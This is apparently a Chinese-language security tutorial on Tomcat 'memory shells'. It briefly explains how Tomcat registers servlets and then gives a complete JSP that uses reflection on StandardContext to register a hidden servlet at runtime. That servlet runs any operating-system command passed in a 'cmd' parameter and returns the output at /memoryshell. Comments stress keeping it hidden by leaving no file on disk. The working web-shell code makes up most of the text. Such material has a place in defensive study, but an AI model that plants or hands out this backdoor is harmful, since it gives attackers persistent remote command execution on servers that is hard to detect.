Servlet内存马
Servlet内存马是通过动态注册Servlet来实现的一种内存攻击手段。在Java Web应用中,Servlet作为处理客户端请求的核心组件之一,能够直接处理HTTP请求并返回响应。攻击者利用这一点,通过程序化地向Web容器(如Tomcat)在运行时注册恶意的Servlet对象,使得该Servlet能够在没有实际文件存在的情况下执行恶意程序。
tomcat的加载部分在:ContextConfig.configureContext(WebXml webxml),webxml实参变量包含我们在web.xml中定义的HelloServlet和映射路径信息。分别叫webxml.servlets和webxml.servletMappings。一个是处理servlet的循环,一个是处理url映射关系的循环。这里都用到了context对象。
两行添加进容器的代码:一个是向容器上下文中添加我们的Servlet,一个是向容器声明Servlet和URL的映射关系。
context.addChild(wrapper);
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
context获取:context是StandardContext,HttpServletRequest.getServletContext.context.context
wrapper:一个servlet的包装类,用于存放servlet的全类名、servlet对象和servlet名称。
实现:
- 创建恶意Servlet类
- 反射获取context:StandardContext
- 从context获取Wrapper对象
- 将Servlet封装进wrapper对象
- 将wrapper添加到上下文并设置映射路径
实现:
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%// 定义恶意的Servlet类,继承自HttpServlet// 为了避免重复定义类加载问题,通常直接内嵌在JSP中class EvilServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 检查请求中是否包含特定的触发参数,例如'cmd'String cmd = req.getParameter("cmd");if (cmd != null) {try {// 根据操作系统类型,构造不同的命令执行方式boolean isWindows = System.getProperty("os.name").toLowerCase().contains("win");String[] executeCmd = isWindows ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};// 执行命令并获取输入流Process process = Runtime.getRuntime().exec(executeCmd);java.io.InputStream in = process.getInputStream();// 使用Scanner读取命令执行结果,指定编码为UTF-8以防止乱码java.util.Scanner scanner = new java.util.Scanner(in, "UTF-8").useDelimiter("\\A");String commandOutput = scanner.hasNext() ? scanner.next() : "";// 将命令执行结果写入HTTP响应resp.setContentType("text/html; charset=UTF-8");resp.setCharacterEncoding("UTF-8");java.io.PrintWriter out = resp.getWriter();out.println(commandOutput);out.flush();out.close();} catch (Exception e) {// 如果命令执行出错,将异常信息返回resp.getWriter().write("Error executing command: " + e.getMessage());}return; // 恶意逻辑执行完毕后直接返回,不再继续处理过滤链}// 如果请求中没有包含'cmd'参数,则执行正常的过滤链,保持隐蔽性super.doGet(req, resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// POST请求也交由doGet处理,统一入口doGet(req, resp);}}try {// 1. 获取ServletContext:通过当前请求对象获取Servlet上下文环境ServletContext servletContext = request.getServletContext();// 2. 通过反射获取ApplicationContext:ServletContext内部通常包含一个ApplicationContext字段Field appContextField = servletContext.getClass().getDeclaredField("context");appContextField.setAccessible(true); // 设置可访问私有字段ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);// 3. 通过反射获取StandardContext:ApplicationContext内部通常包含一个StandardContext字段// StandardContext是Tomcat中表示Web应用程序的核心容器Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);// 4. 创建恶意Servlet的包装器(Wrapper):Wrapper负责管理Servlet实例Wrapper wrapper = standardContext.createWrapper();String servletName = "MemoryShell_" + System.currentTimeMillis(); // 使用随机名称避免冲突wrapper.setName(servletName); // 设置Wrapper名称wrapper.setServletClass(EvilServlet.class.getName()); // 设置恶意Servlet的类名wrapper.setServlet(new EvilServlet()); // 实例化并设置恶意Servlet对象wrapper.setLoadOnStartup(1); // 设置随容器启动而加载// 5. 将包装好的恶意Servlet添加到容器的子容器中standardContext.addChild(wrapper);// 6. 添加Servlet映射:将特定的URL模式(例如"/memoryshell")映射到我们恶意Servlet的名称// 这样访问该URL路径的请求就会被我们的恶意Servlet处理String urlPattern = "/memoryshell";standardContext.addServletMappingDecoded(urlPattern, servletName);// 输出注入成功的消息,并告知访问路径(实际攻击中可能会省略以避免被发现)out.println("[+] Servlet Memory Shell Injected Successfully!");out.println("[+] Access URL: " + request.getScheme() + "://" + request.getServerName() + ":" + request.getServerPort() + request.getContextPath() + urlPattern + "?cmd=whoami");} catch (Exception e) {// 如果注入过程中出现任何异常,打印错误信息out.println("Error injecting memory shell: " + e.getMessage());e.printStackTrace(new java.io.PrintWriter(out));}
%>